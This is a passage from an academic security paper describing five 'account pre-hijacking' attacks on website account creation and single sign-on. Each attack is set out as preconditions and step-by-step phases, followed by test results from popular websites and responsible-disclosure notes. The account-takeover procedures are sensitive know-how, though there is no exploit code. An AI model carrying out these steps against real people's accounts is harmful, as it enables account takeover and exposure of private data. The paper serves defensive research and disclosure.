tacks, in which an attacker gains unauthorized access to the
victim’s account. Previous work on this topic has studied
various techniques that could be used for account hijacking,
for example, the use of Cross-Site Request Forgery (CSRF)
to trick victims into changing their account passwords to an
attacker-controlled value [13, 34, 39].

In an effort to improve user experience, there is currently a
trend towards federated identity and authentication. One of the
most visible aspects of this is Single Sign-On (SSO) in which
the user creates an account with an Identity Provider (IdP),
and can then use this to create accounts with any relying
party (RP) service that supports SSO and trusts the user’s
IdP. There is a strong incentive for services to support SSO
because it improves the experience for users by allowing them
to reuse the same IdP account across multiple services. Many
large companies, including Google, Facebook, and Microsoft,
provide IdP services that are widely supported and trusted by
websites and other online services. Previous work has also
explored the security implications of SSO, showing that IdPs
can become single points of failure [6, 7, 17, 22, 40, 41].

However, one aspect that has not received much attention is
the process of account creation, along with its corresponding
security assumptions and requirements. This process is further
complicated by the move towards SSO because many services
now support two different mechanisms through which users
can create an account: the classic approach in which the user
sets a password directly with the service, and the federated
approach where the user already has an account with an IdP
and uses this to create an account with the service. Once
an account has been created, some services also offer the
possibility to link an IdP account, so that the user can either
sign in directly to the service or authenticate via the IdP.

Ghasemisharif et al. [17] presented the first example of
a preemptive account hijacking attack, in which an attacker
gains control of a victim’s federated identity (e.g., the victim’s
IdP account) and uses this to create accounts at services for
which the victim has not yet signed up. The attacker then waits
for the victim to join that service and start using their “new”
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account. At a later time, the attacker can sign into the service
using the compromised IdP account and view or manipulate
any information stored by the victim in that account.

Inspired by that attack, we demonstrate that there exists
an entire class of such attacks, which we call account pre-
hijacking attacks. The distinguishing feature of these attacks
is that the attacker performs some action before the victim
creates an account at the target service. The unsuspecting vic-
tim might subsequently create/restore their account and start
using it. Finally, the attacker completes the attack by gaining
access to the victim’s account. In this work, we identify and
describe five types of pre-hijacking attacks1. In contrast to
the attack by Ghasemisharif et al. [17], none of our attacks
require the attacker to compromise the victim’s IdP account.

All of our attacks make some assumptions about the vic-
tim’s actions or lack thereof. These include (common) actions,
such as creating an account (using the classic or federated
route) or recovering the password for an existing account,
as well as inactions, such as ignoring emails from services
where the user does not have an account, or failing to no-
tice unexpected identifiers after recovering an account. One
variant requires a successful CSRF attack. We set out the
assumptions for each type of attack in Table 1.

An interesting aspect of account pre-hijacking attacks is
that they require the attacker to anticipate which services the
victim is likely to sign up for and take action before the victim
creates an account. This could be achieved in various different
ways. For example, the attacker may already know which ser-
vices a specific victim uses, and opportunistically pre-hijack
accounts at other services the victim is likely to use. More
broadly, the attacker might learn that a whole organization
(e.g., a university department) plans to use a particular ser-
vice, and pre-hijack accounts for any publicly-known email
addresses from that organization. Alternatively, the attacker
may observe a general increase in popularity of a service (e.g.,
a video conferencing service when people are forced to work
from home) and pre-hijack accounts for any email addresses
found through e.g., website scraping. There is no risk to the
attacker if the victim has already created an account.

To ascertain the prevalence of services that are vulnerable
to account pre-hijacking attacks, we analyzed 75 of the most
popular websites, based on the Alexa global website rank-
ings [3]. We found that at least 35 of these were vulnerable
to one or more pre-hijacking attacks, including widely-used
cloud storage, social and professional networking, blogging,
and video conferencing services. We responsibly disclosed
these vulnerabilities to the affected organizations and our
reports have already been acknowledged as being of high
severity by a major video conferencing service.

Fundamentally, the root cause of these attacks is that the ser-
vice or IdP fails to verify that the user actually owns the sup-
plied identifier before allowing use of the account. Although

1However, we do not claim that this is an exhaustive list of attacks.

many services do perform this verification (e.g., sending a
confirmation code or URL to the provided email address), the
vast majority allow the user to begin using the account before
this verification has been completed, thus opening a window
of vulnerability for account pre-hijacking attacks. We hope
that our work will serve to underline the importance of such
verification by highlighting the consequences of its omission.
However, recognizing that this may not be immediately prac-
ticable for all services, we also present a set of defense in
depth security requirements for account creation that would
have mitigated all the vulnerabilities we identified.

In summary, we make the following contributions:

• We investigate security failures in user account creation
and identify a novel class of account pre-hijacking at-
tacks in which the attacker takes steps to compromise a
user account before the user has created the account. We
describe five specific types of account pre-hijacking that
are applicable to current websites and online services.

• We analyzed 75 popular services to ascertain the preva-
lence of vulnerabilities that could be exploited in account
pre-hijacking attacks. We found that at least 35 services
were vulnerable to one or more attacks. We disclosed
these vulnerabilities to the respective organizations and
our reports have already been acknowledged as being of
high severity by a major video conferencing service.

• We found that the root cause of these attacks is failure
to verify ownership of the identifier before allowing the
account to be used. We also present an additional set
of defense in depth security requirements for account
creation and management that would have mitigated all
the vulnerabilities we identified.

2 Background

2.1 Single Sign-On (SSO)
SSO is one of the most prevalent examples of federated iden-
tity management. In SSO, the user maintains a single account
with an Identity Provider (IdP) and uses this to create accounts
and authenticate to one or more Relying Party (RP) services.

When the user visits the RP and initiates the authentication
flow, the RP redirects the user to the IdP’s SSO-authentication
end-point. The user then authenticates to the IdP, using their
IdP account, and gives consent for the IdP to send specific
details to the RP. If the authentication is successful, the IdP
sends a proof-of-authentication to the RP, such as the authen-
tication assertion in SAML 2.0 [36], or the authorization code
(authentication token) in OAuth 2.0 [28]. The RP can use this
proof to fetch additional attributes about the user from the IdP,
such as the user’s email address. If the user does not already
have an account with the RP service (i.e., a new user), the RP
service uses the attributes provided by the IdP to create an
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account. The service may optionally request additional infor-
mation from the user during account creation. Importantly,
the RP records which IdP is associated with the account, and
will expect a proof-of-authentication from the same IdP when
the user attempts to authenticate in the future.

Federated identity is becoming increasingly popular as it re-
duces the burden on users of having to create, remember, and
manage separate authentication credentials for each service. It
also offers security benefits as IdPs tend to invest in securing
users’ accounts, e.g., using multi-factor authentication.

2.2 Authentication Attributes
User accounts necessarily include various pieces of informa-
tion for authenticating the user – we refer to these as authen-
tication attributes. Some of these attributes may be persistent,
such as the user’s username and password, whilst others may
be transient, such as the list of currently valid authentication
cookies. For a given account, we refer to the set of authenti-
cation attributes and their corresponding values as the state
of the account at that specific point in time. Figure 1 shows
an example of such a state.

In this example, the Username attribute of this account is
the user’s email address. This need not always be the case,
but a large number of online services use email addresses as
usernames as these are guaranteed to be unique, and are easy
for users to remember. In this paper, we assume that the user’s
email address is always used as the account username.

The Email and PhNum (phone number) attributes can also
be used to recover access to the account if the user forgets the
password. Although implementations may differ, the general
pattern for a password reset is for the service to send a secret
capability (e.g., a code or a URL with an embedded authenti-
cation token) to the registered email address or phone number.
Using this capability, the legitimate user can authenticate to
the service and reset the password.

As expected, the Password attribute represents the user-
chosen secret used to authenticate the user to the service. Al-
though Figure 1 shows a representative example, real services
should store the password securely (e.g., storing only a salted
hash of the password). Although not shown, this attribute also
encompasses any other authentication secrets, such as secret
keys used in multi-factor authentication (MFA).

The IdPId attribute records the identity of the user as pro-
vided by a federated identity provider. Depending on the
service, it may be possible to add one or more federated iden-
tities to an existing account, after the account has been created
(e.g., the option to “Connect with Facebook” or an equiva-
lent IdP). In our representation, this would be recorded as a
change to the value of the IdP attribute.

The SessionId attribute encompasses all currently-active
sessions’ identifiers (e.g., valid authentication cookies) for
the account. This is a transient attribute as sessions usually
end when the user signs out, or after a period of inactivity.

FooApp State: S

Username alice@example.com

Email alice@example.com

Password $ecret_pass619

IdPId FB-Id-User42h3

SessionId A2jkh2k2h55h2kn

PhNum 9886625631

Figure 1: Example state of the authentication attributes for an
account at the FooApp service.

3 Threat Model

The attacker’s goal is to gain control (i.e., hijack) the victim’s
user account at the target service. Depending on the nature of
the service, this could allow the attacker to access the victim’s
confidential information (e.g., messages, documents, billing
statements, etc.) or to impersonate the victim (e.g., sending
messages, subscribing to services, etc.).

We assume the same web attacker threat model used in
prior work e.g., [1, 24, 38], in which the attacker can access
the target service as well as third-party IdP services such as
those provided by Google, Facebook, and Microsoft. The at-
tacker can create both free and paid user accounts at the target
service, but does not have administrative rights at this service.
The attacker can also create accounts at one or more IdPs and
use these with the target service. If the target service supports
custom IdP integration, the adversary can select any publicly
available identity management service (e.g., OneLogin [30])
and use this with the target service.

Additionally, we assume that the attacker knows the email
address and other basic details of the victim (e.g., first and last
name). These details would already be known to the attacker
in the case of a targeted attack, or might be e.g., scraped from
social media or found in password database dumps in the case
of an untargeted attack. The attacker can use these details to
create accounts both at the target service and IdP.

For some attacks, we assume the attacker can make the
victim visit an attacker-controlled URL (e.g., through click-
baiting [12]). The resulting HTTP request from the victim’s
web browser may include HTTP Cookies [8] within the con-
straints of the SameSite policy [26] of the web browser and
the destination endpoint.

Finally, we assume the victim to have at least a basic level
of security awareness. This means the attacker cannot per-
form successful phishing attacks on the victim. However, we
assume that the victim ignores notifications sent by services
where they do not have an account. This is realistic as prior
work (e.g., [2]) has shown the ineffectiveness of notifications.
We assume that the victims and services regularly update their
software, and implement mitigations against software attacks
such as code injection [32] and memory corruption [37].
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4 Account Pre-Hijacking Attacks

As with account hijacking, the attacker’s goal in account pre-
hijacking is to gain access to the victim’s account. The at-
tacker may also care about the stealthiness of the attack, if
the goal is to remain undetected by the victim.

The impact of account pre-hijacking attacks is the same
as that of account hijacking. Depending on the nature of the
target service, a successful attack could allow the attacker to
read/modify sensitive information associated with the account
(e.g., messages, billing statements, usage history, etc.) or per-
form actions using the victim’s identity (e.g., send spoofed
messages, make purchases using saved payment methods,
etc.). We provide specific examples of the attack impact for
the five case studies we describe in Section 5.3. Abstractly, an
account pre-hijacking attack consists of three phases: 1) Pre-
hijack, 2) Victim action, and 3) Attack.

1. Pre-hijack. In the first phase, the attacker performs some
preparatory action, such as creating an account at the tar-
get service using an identifier belonging to the victim (e.g.,
the victim’s email address, mobile phone number, etc.). This
requires the attacker to know the victim’s identifier, but is
not unrealistic since these identifiers are typically not secret.
As explained in Section 3, victims’ email addresses can be
scraped in bulk for untargeted attacks, or would already be
known by the attacker in the case of a targeted attack. The
main requirement in this phase is that the victim must not have
created an account with the target service using that identi-
fier. By definition, this would prevent account pre-hijacking.
It is easy for the attacker to detect if this is the case (e.g., the
service will respond saying the account already exists), and
this typically poses no risk to the attacker. As discussed in
Section 1, the success of this attack depends on the attacker’s
ability to anticipate the services at which the victims will
create accounts. At the end of this phase, the attacker waits
for the victim to complete the second phase.

2. Victim action. In the second phase, the victim either
creates or recovers their account at the target service using
the same identifier used by the attacker in the pre-hijacking
phase. Ideally, this would be the point at which the victim
realizes that pre-hijacking has taken place, based on some
type of notification from the service. However, as discussed
with the concrete attacks later in this section, the type of notifi-
cation that can be shown to the victim depends on the specific
type of pre-hijacking attack. Furthermore, as discussed in Sec-
tion 5, we observed that vulnerable services vary significantly
in terms of the notifications they provide, ranging from pro-
viding warnings that might tip off security-conscious users, to
providing no notifications at all. Assuming the victim is not
notified or does not heed the notification, they would continue
using their account as normal.

3. Attack. In the third phase, the attacker gains access to
the victim’s pre-hijacked account. The specific techniques
used by the attacker in this phase depend on which technique

was used in the first phase. Some techniques used in this
phase cause the victim to lose access to their account (i.e.,
low stealthiness), whereas others allow the victim and attacker
to access the account concurrently (i.e., high stealthiness).

In the following subsections, we describe five concrete
account pre-hijacking attacks. We do not claim that this is
an exhaustive list of such attacks, but rather that these are
the types of attacks we found to be possible in real services
(as described in Section 5). The attack trees in Figures 2
and 3 summarize these concrete attacks, showing both the
actions of the attacker and victim, as well as the state of the
authentication attributes for the account (S2 - S14) after each
action. In all cases, the starting state (S1) is empty, since the
account has not yet been created.

In the descriptions of the concrete attacks below, for clar-
ity of explanation, we use the victim’s email address as the
identifier since this is the most widely-used identifier in real
services. However, the same attacks may also be possible
using other identifiers, such as the victim’s mobile number.
Table 1 summarizes the assumptions we make for each attack.

4.1 Classic-Federated Merge Attack

This attack exploits a potential weakness in the interaction be-
tween the classic (i.e., setting a password) and federated (i.e.,
SSO) approaches for account creation. Specifically, the at-
tacker uses the victim’s email address to create an account via
the classic approach, and the victim subsequently creates an
account via the federated approach. If not carefully handled,
this could result in both the victim and the attacker having
access to the same account.

Preconditions. The target service must support both clas-
sic and federated account creation, and should use email ad-
dresses as the unique account identifiers (i.e., in place of
usernames). Furthermore, the service must allow users to as-
sociate a federated identity (e.g., SSO) with an existing (email
and password) account – a property we refer to as IdP account
connect. Services typically achieve this by checking that the
email address provided in the assertion from the IdP matches
the email address used during classic account creation.

1. Pre-hijack. The attacker creates an account at the target
service via the classic route, but provides the email address of
the victim and a password of the attacker’s choosing. Specifi-
cally, the attacker provides the email address they anticipate
the victim will use for federated authentication. At this point,
the target service might send a confirmation email to the vic-
tim’s email address, asking the recipient to confirm their email
address (e.g., either by clicking on a link or entering the code
provided). However, the victim might ignore emails from
services at which they don’t have an account, and may thus
ignore the confirmation email.

2. Victim action. If the victim later decides to create an
account with the target service, they might choose to use the
federated route to create this account. Since there is already
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Entity Assumptions CFM US TID UE NV

Target Service

- does not allow multiple accounts with the same identifier to exist concurrently J J J J J
- supports password reset functionality – J J J –
- supports both classic and federated sign in J – J – C
- uses email address as an identifier J – – – J
- merges classic and federated accounts with the same identifier J – – – J
- supports both classic and federated sign in and sign up J – – – J
- supports concurrent sessions – J – – –
- does not expire past sessions by default upon password reset – J – – –
- allows associating a federated account to a classic account – – J – –
- supports email-change functionality – – – J –
- sends email-change capability URLs and does not expire them upon password reset – – – J –
- supports federated sign in through at least one non-verifying IdP – – – – J

Victim

- ignores the emails sent by the services where they do not have an account J J J J J
- will attempt to create an account at the target service through the classic route – J J J C
- will recover the account that already exists at the target service with victim’s identifier – J J J –
- will not check whether an unknown identifier is associated to the recovered account – – J – J
- will attempt to create an account at the target service through the federated route J – – – C
- will not invalidate all the active sessions of the recovered account – J – – –
- will not check whether an email-change verification is pending at the recovered account – – – J –
- is susceptible to CSRF attacks while logged in at the target service – – – C –

Attacker

- can create an account before the victim creates their account at the target service J J J J J
- knows the identifier used by the victim for creating accounts J J J J J
- knows the email address of the victim’s federated account J – – – –
- can create an account with any email address at a non-verifying IdP – – – – J

Table 1: Assumptions on the target service, victim, and attacker for the various Account Pre-Hijacking Attacks. J indicates
that the assumption applies to the attack, C indicates that it applies only to some variants of the attack, and – indicates that the
assumption is not necessary for the attack. The attacks are Classic-Federated Merge (CFM), Unexpired Session (US), Trojan
Identifier (TID), Unexpired Email Change (UE), and Non-verifying IdP (NV).

an account associated with the victim’s email address, one
plausible design decision could be for the service to merge
the two accounts, either intentionally or unintentionally. At
this point the service might notify the victim that there was
already an account associated with that email address.

If the victim notices something is amiss, they might thwart
the attack by resetting the password, which will succeed be-
cause only the victim will receive the password reset email.
However, if the notification is ignored, or worse, not shown,
the victim might start using this “newly-created” account
without resetting the password. If the service again asks the
victim to verify their email address, they might proceed as
they would be expecting this.

3. Attack. As shown in state S8 of Figure 2, the victim’s
IdP is correctly associated with the account, but the password
is still that chosen by the attacker. The attacker can thus di-
rectly sign in to the victim’s account using this password,
whilst the victim continues to sign in via SSO. In terms of
stealthiness, the victim may not notice the attack unless the
service notifies users about sign-in events (e.g., sends a notifi-
cation, or displays the last sign-in time, etc.).

4.2 Unexpired Session Attack
This attack exploits a vulnerability in which authenticated
users are not signed out of an account when the password

is reset. This allows the attacker to retain access to a pre-
hijacked account even after the victim resets the password.

Preconditions. The target service must allow a user to
reset the account’s password (e.g., by sending a password
reset email to the email address associated with the account).
The service must also allow multiple concurrent sessions.

1. Pre-hijack. The attacker creates an account at the target
service using the victim’s email address. The attacker then
signs in to the created account and keeps the session active
indefinitely. Depending on the service, the attacker might be
able to automate the task of keeping the session active (e.g.,
running a script that periodically performs an action).

2. Victim action. Unaware of the attacker’s actions, the
victim tries to create an account at the target service using
their email address. However, since there is already an account
associated with the email address, the service should block
the account creation. The victim may assume that they had
previously created an account, but will be unable to sign in
given the attacker-chosen password. The victim will then
proceed to reset the password and begin using the account.

3. Attack. If the service does not invalidate all active ses-
sions when the password is reset, it could reach state S9 of
Figure 2. Although the password is only known to the victim,
the attacker still has an active session, and can thus continue to
access the account as long as that session is maintained. The
victim may not notice the attack unless the service provides
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some indication of current active sessions.
Another variant of this attack is where the victim instead

attempts to create an account via the federated route (as in the
Classic-Federated Merge Attack), but the service prevents the
account creation on the basis that there is already an account
associated with that email address. The victim may decide to
reset the password, and the attack would proceed as above.

4.3 Trojan Identifier Attack
This attack combines actions from the Classic-Federated
Merge and Unexpired Session attacks. The attacker creates
a pre-hijacked account using the victim’s email address, but
then associates the account with the attacker’s IdP account for
federated authentication. When the victim resets the password
(as in the Unexpired Session Attack), the attacker can still
access the account via the federated authentication route.

Preconditions. The target service must support both clas-
sic and federated authentication. However, unlike in the
Classic-Federated Merge Attack, users need not be able to
create accounts via the federated route – it is sufficient that
one or more federated identities can be added to an existing
account. The attacker must have an account with an IdP that is
supported by the service, and from which federated identities
can be added to existing accounts at the service. As before,
the target service must provide password reset functionality.

1. Pre-hijack. The attacker creates an account at the target
service using the victim’s email address and a password of the
attacker’s choosing. The attacker then associates their own
federated identity to the account, such that the attacker can
sign in via either SSO or the chosen password.

2. Victim action. When the victim attempts to create an ac-
count with the target service, the account creation will fail as
there is already an account associated with that email address.
Although unable to sign in (due to the attacker-chosen pass-
word), the victim might think they had previously created the
account and proceed to reset the password. This will succeed,
and the victim may start using the account as normal.

3. Attack. As shown in state S10 of Figure 2, the attacker’s
federated identity (denoted as attackerIdPId), is still associ-
ated with the account, allowing the attacker to sign in to the
victim’s account via the federated authentication route. In
terms of stealthiness, the victim does not lose access to the
account, so may not suspect that there has been an attack.

Alternative identifier variant. A variant of this attack ex-
ists where the service 1) allows users to add an alternative
identifier, such as a phone number or second email address,
and 2) allows users to reset the account password or request
a one-time sign-in link via this alternative identifier. Specifi-
cally, during the pre-hijack phase, the attacker associates an
attacker-controlled alternative identifier with the account. The
attacker can leverage simple deception techniques to reduce
the likelihood of the victim noticing this identifier, such as
choosing an email address that is similar to that of the victim

(e.g., victim@example.com and victm@example.com), or an
address that looks like it is part of the service (e.g., target-
service@example.com). In the attack phase, the attacker re-
gains access to the account by requesting a password reset or
one-time sign-in link via this alternative identifier. Resetting
the password would be noticeable, as the victim would lose
access to the account, but accessing the account via a one-time
sign-in link may allow the attacker to remain undetected.

4.4 Unexpired Email Change Attack

This attack exploits a potential vulnerability arising from
the failure to invalidate email-change capability URLs upon
password reset. The attacker creates an account using the
victim’s email address and begins the process to change the
email address associated with the account to the attacker’s
own email address, but does not complete this process. After
the victim has recovered the account, the attacker completes
the change-of-email process to take control of the account.

Preconditions. The target service must allow users to
change the email address associated with an account. In par-
ticular, the service must attempt to verify that the user owns
the new email address by sending some type of capability to
the new email address (e.g., a link to click or a code to enter).
Furthermore, this sent capability must have a reasonably long
validity period (e.g., days).

1. Pre-hijack. The attacker creates an account at the target
service using the victim’s email address. The attacker then
starts the process to change the email address to the attacker’s
own email address. The service will send a verification email
to the attacker’s email address, but the attacker does not yet
confirm the change. Without confirmation, the email change
will not proceed, and the account will still be associated with
the victim’s email, as shown in state S6 of Figure 2.

2. Victim action. Unaware of the attacker’s actions, the
victim tries to create an account at the target service using
their email address. As before, the account creation will fail
because of the existing account associated with the victim’s
email address. Similarly, the victim will proceed to reset the
password, which is possible since the account is still primarily
associated with the victim’s email address. The victim would
then proceed to use the account as normal.

3. Attack. At a later point in time, the attacker confirms
the pending change-of-email using the capability sent in the
verification email from the pre-hijack phase. If this succeeds,
it will change the email address associated with the account,
as shown in state S11 of Figure 2. The attacker can then use
the email-based password reset feature to reset the password
to an attacker-controlled value.

After the password reset, the victim will lose access to the
account, thus lowering the stealthiness of this attack. How-
ever, similarly to the Trojan Identifier Attack, if users can
request one-time sign-in links sent to their email addresses,
the attacker could use this functionality instead of resetting
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S2
Email victim@example.com

Passwd attacker123

SessionId attackerSId

S8
Email victim@example.com

Passwd attacker123

IdP victimIdP

S9
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Passwd victim123
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IdP attackerIdP

PhNum attackerPhNum
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IdPId attackerIdPId
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Figure 2: Attack tree showing the first two phases of the Classic-Federated Merge (Section 4.1), Unexpired Session (Section 4.2),
Trojan Identifier (Section 4.3), and Unexpired Email Change (Section 4.4) attacks.

the password. This allows the victim to continue using the
account and thus improves the attack’s stealthiness.

CSRF variant. In some services, the attacker might be
signed out of the account at the end of the victim action phase
(i.e., after the victim resets the password). Furthermore, these
services may require users to be signed in when visiting the
email-change capability URL, which would prevent the above
attack. However, in a variant of this attack, the attacker could
forge an HTTP request to the email-change capability URL
by tricking the victim into visiting this URL while the victim
is logged in at the recovered account (e.g., through a CSRF
attack or Click-bait). However, if the victim needs to perform
an action upon visiting the capability URL (e.g., entering a
confirmation code), this will not be possible.

4.5 Non-verifying IdP Attack
This attack is the mirror image of the Classic-Federated Merge
Attack, where the attacker created the account using the clas-
sic route and the victim used the federated route. In this attack,
the attacker leverages an IdP that does not verify ownership
of an email address when creating a federated identity. We

refer to this as a non-verifying IdP. Using this non-verifying
IdP, the attacker creates an account with the target service
and waits for the victim to create an account using the classic
route. If the service incorrectly combines these two accounts
based on the email address, the attacker will be able to access
the victim’s account.

Preconditions. The target service must support both clas-
sic and federated account creation and sign in. It must also
support at least one non-verifying IdP, thus allowing the at-
tacker to create a federated identity based on the victim’s
email address. Alternatively, the service must allow users to
integrate their own custom IdPs. This feature is more common
for business accounts as it allows users of a particular organi-
zation to sign in through their organization’s IdP. The avail-
ability of cloud-based IdP services such as OneLogin [30] and
Okta [29] makes this step easy for the attacker. We found that
these IdPs did not perform email verification for test accounts,
yet these accounts could still be used as federated identities
at other services.

1. Pre-hijack. The attacker creates a federated identity (i.e.,
an IdP account) using the victim’s email address at the non-
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Figure 3: Attack tree showing the first two phases of the Non-verifying IdP attack (Section 4.4) and the Email Verification trick
(Section 4.6) applied to the Classic-Federated Merge Attack.

verifying IdP. The attacker then uses this federated identity
and the custom IdP authentication feature to create an account
with the victim’s email address at the target service. If the
service performed its own verification for email addresses
associated with federated identities, it would block this attack.
However, some services simply assume that IdPs have per-
formed email verification, possibly to minimize user friction
during account creation.

2. Victim action. The victim subsequently creates an ac-
count at the target service via the classic route using their
email address and victim-chosen password. Since an ac-
count already exists for that email address, the target ser-
vice might just combine this with the account created in the
pre-hijack phase (similarly to the Classic-Federated Merge
Attack). Thinking that this was a newly-created account, the
victim might proceed to use it as normal.

3. Attack. As shown in state S12 of Figure 3, the attacker’s
federated identity is still associated with the victim’s account,
allowing the attacker to sign in via the non-verifying IdP.

In this attack, the services incorrectly trust the IdP to per-
form email-verification. The fact that the IdP does not verify
email addresses could be intentional (e.g., a business deci-

sion) or unintentional. For example, a previously-discovered
vulnerability [33] in widely-used IdPs, which has now been
fixed, allowed an attacker to create accounts with the victims’
email addresses, which could then be used to create accounts
with various target services. Similar techniques could be re-
purposed to perform account pre-hijacking attacks.

Although we described this attack using a non-verifying
IdP, it would also work equally well with a malicious IdP.
Mainka et al. [24] investigated the dangers of malicious IdPs,
but did not consider using a malicious IdP for account pre-
hijacking attacks.

Federated-Federated variant. A variant of this attack is
that, in the victim action phase, the victim creates their account
at the target service using the federated route instead of the
classic route. This only works if the target service allows
more than one IdP to be associated with a single account. As
shown in state S13 of Figure 3, this results in both the victim’s
and attacker’s federated identities being associated with the
account. In the attack phase, the attacker can therefore sign
in via the federated route, and the victim will continue to sign
in via their own IdP account.
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4.6 Email Verification Trick
When mounting some of the above attacks, the target service
may require verification of the supplied email address. For ex-
ample, the service could send an email to the supplied address
containing a unique URL for the user to visit, or a confirma-
tion code which the user must provide to the service. Since the
attacker does not have access to the victim’s email account,
this could help to mitigate attacks in which the attacker needs
to create an account using the victim’s email address (i.e., all
except the Non-verifying IdP Attack).

However, the attacker may be able to circumvent this check
by abusing the change-of-email functionality provided by
many services. Specifically, the attacker starts by creating an
account at the target service using an identifier they control.
For instance, the email address of the attacker (state S4 of
Figure 3). During account creation, the service requests veri-
fication of the identifier, which the attacker can perform since
they control the identifier. After the account has been created,
the attacker proceeds to change the primary email address to
that of the victim (state S7 of Figure 3). If the service does
not perform another email verification at this point (or if it
associates the victim’s email address to the account before the
verification), the attacker is once again in a position to mount
any of the attacks described above (e.g., the Classic-Federated
Merge Attack, resulting in state S14 of Figure 3).

5 Experiments & Results

To measure the prevalence of vulnerabilities that could lead
to the account pre-hijacking attacks described in the previ-
ous section, we analyzed some of the most popular websites,
based on the Alexa global website rankings [3]. In Section 5.1,
we discuss our experimental methodology, including the crite-
ria we used to identify specific services of interest, the set of
actions we undertook for each service, and the ethical consid-
erations which guided our analysis. In Section 5.2 we present
a summary of our results and in Section 5.3 we discuss five
case studies of prominent services that are illustrative of the
types of attacks we observed during our analysis.

5.1 Methodology
Due to the varied nature of the websites, we relied on man-
ual (human) analysis. Although this limited the number of
services we could analyze, it provided the most accurate re-
sults because it is similar to how a potential attacker would
analyze each service. We discuss the potential for automating
the detection of such vulnerabilities in Section 6.3.

5.1.1 Selection criteria

Given the manual effort required, we limited our analysis to
the top 150 websites from the Alexa global website rank-

Reason Occurrences

Similar website already tested 21
High-requirements 17
No authentication functionality 13
No email functionality 12
Language barrier 10
Service not reachable 1
Other service errors 1

Total 75

Table 2: Reasons for which services could not be tested.

ings [3]. Of these, 136 supported account creation, and out
of these, we were able to test 75 for at least one attack. We
could not test the remaining 75 websites due to language bar-
riers, specific requirements for account creation (e.g., needing
to provide a phone number in a specific country), and other
errors. We also omitted websites where a very similar web-
site had already been tested (e.g., we tested amazon.com but
skipped amazon.in as the latter is a localized version of the
former). The summary of reasons for which websites could
not be tested is shown in Table 2. Although this is by no
means a representative sample of all websites, it is reasonable
to assume that the most popular websites expend significant
effort in preventing user account hijacking, and thus our re-
sults are likely a lower bound (i.e., conservative estimate) of
the prevalence of such vulnerabilities across all websites.

5.1.2 Analysis actions

We specifically focused on email addresses as this is the most
common type of unique user identifier. As per the precondi-
tions, at the beginning of the attack, the victim’s email address
should not be associated with any account at the target web-
site. This made it necessary to create multiple fresh accounts
on each website for each test. In order to identify whether a
website met the preconditions of each attack, we created an
account and explored and documented the features provided
by the service. Specifically, we looked for the following types
of functionality:

• Create an account via the federated route;

• Use a custom IdP for federated account creation;

• Associate a federated identity with an account;

• Change the email address associated with an account;

During our experiments on the Alexa top 150 websites, we en-
countered 22 unique IdPs. Out of them, Google was the most
popular (integrated in 40 websites), followed by Facebook
(32 websites) and Apple (18 websites). For our experiments,
we preferred the IdPs with the most frequency (i.e., whenever
we found websites supporting multiple IdPs, we ran our tests
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using the most-popular IdP). For the attacks involving email
addresses, we preferred Google’s mail service, as we could
also use the same account for federated authentication.

Whenever a website appeared to be vulnerable, we repeated
the test with another fresh set of accounts to avoid false posi-
tives and collect additional information for reporting purposes
(e.g., creating video-recordings of the procedure). Addition-
ally, we found that websites use several different channels
and templates for reporting security vulnerabilities. Some
websites used third-party vulnerability disclosure services,
such as HackerOne [18] and Bugcrowd [11], whilst others
provided dedicated vulnerability reporting forms and security
email addresses. We identified these channels and are in the
process of reporting our findings to the affected vendors.

5.1.3 Ethical considerations

We took multiple precautions to ensure that our experiments
were conducted ethically and the results disclosed responsibly.

Firstly, we ensured that the impact of our experiments did
not go beyond the users accounts we had created for this
purpose. We limited our experiments to targeted attacks, and
thus did not inadvertently disclose sensitive data belonging to
other users of the website.

Secondly, we did not leverage any automatic tools that
could have sent large numbers of requests, as this might have
adversely affected the performance of the website for other
users. The manual nature of our experiments was equivalent
to a single legitimate user interacting with the website. This
also meant that we did not trigger any bot detection alerts
(e.g., [4]), which improved the accuracy of our results.

Finally, for each vulnerable website, we submitted a de-
tailed report to the affected vendor (as shown in Table 4). In
some cases, we have already received acknowledgments and
bug bounties for these reports.

In all cases, we ensured that the affected vendors have had
at least 90 days to remediate the reported vulnerabilities prior
to the publication of this paper. Additionally, for the case
studies presented in Section 5.3, we obtained permission to
publish the details of the vulnerabilities from the affected
vendors.

5.2 Results & Observations
The summarized results of our analysis are shown in Table 3
and the detailed list of vulnerable services in Table 4.

In Table 3, the second column shows how many services
we were able to identify as potentially vulnerable to each type
of attack (e.g., they supported account creation, federated
identities, etc. as required for each attack). The sum of this
column (i.e., 252) corresponds to the total number of pre-
hijacking attacks we performed.

The third column shows how many services, out of those
that were potentially vulnerable, were actually vulnerable to

Attack Potentially
vulnerable

Vulnerable

Classic-Federated Merge 54 13
Unexpired Session 74 19
Trojan Identifier 49 12
Unexpired Email Change 72 11
Non-verifying IdP 3 1

Total 252 56

Table 3: Summary of vulnerabilities identified during our
testing (January – June 2021). The Potentially vulnerable
column shows how many services we were able to test that
could potentially have been vulnerable to each attack (e.g.,
providing all the necessary functionality), whilst the Vulner-
able column shows how many were vulnerable to each attack.
Some services were vulnerable to multiple attacks and the
detailed results are presented in Table 4.

each attack. As shown in Table 3, we identified at least 56
individual vulnerabilities across all attack types and services.
Note that this does not mean that the remaining services from
the top 150 list were invulnerable, as we were not able to
test all services due to language barriers or country-specific
requirements, as explained in Section 5.1.1.

The Unexpired Session Attack had the highest number of
potentially vulnerable services. This is to be expected since
this attack has minimal requirements (e.g., does not require
the service to support federated authentication) and is theo-
retically applicable to any service that uses the concept of a
session. We also observed that some services that were not
vulnerable to the Classic-Federated Merge Attack might still
be vulnerable to a variant of the Unexpired Session Attack af-
ter the former has been blocked. However, we did not include
these in Table 3 to avoid potential double-counting.

We found that a similar number of services were vulnerable
to the Classic-Federated Merge, Trojan Identifier, and Unex-
pired Email Change Attacks, when including those for which
the Email Verification trick (Section 4.6) was used. However,
as shown in Table 4, it is not usually the case that the same
service is vulnerable to all three of these attacks.

The Non-verifying IdP Attack was far less prevalent as it
requires the service to support user-specified IdPs for fed-
erated authentication. However, we expect that our results
are an under-approximation as some services might provide
this functionality as part of a premium plan, which was not
always tested. Nevertheless, out of the three services that we
identified as being potentially vulnerable, at least one was
vulnerable to this attack.

It is important to note that, at the time of testing, these re-
sults were conservative lower bounds, as it is possible that we
might have missed some attacks. On the other hand, we hope
that the number of vulnerable services will have significantly
decreased due to our responsible disclosures.
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Type of Service Classic-
Federated

Merge

Unexpired
Session

Trojan
Identifier

Unexpired
Email

Change

Non-
verifying

IdP

Disclosure Date &
Channel

video conferencing • ◦ ◦ ◦ • Mar ’21, H1P

photo sharing social network ◦ ◦ • ◦ – Jul ‘21, SF

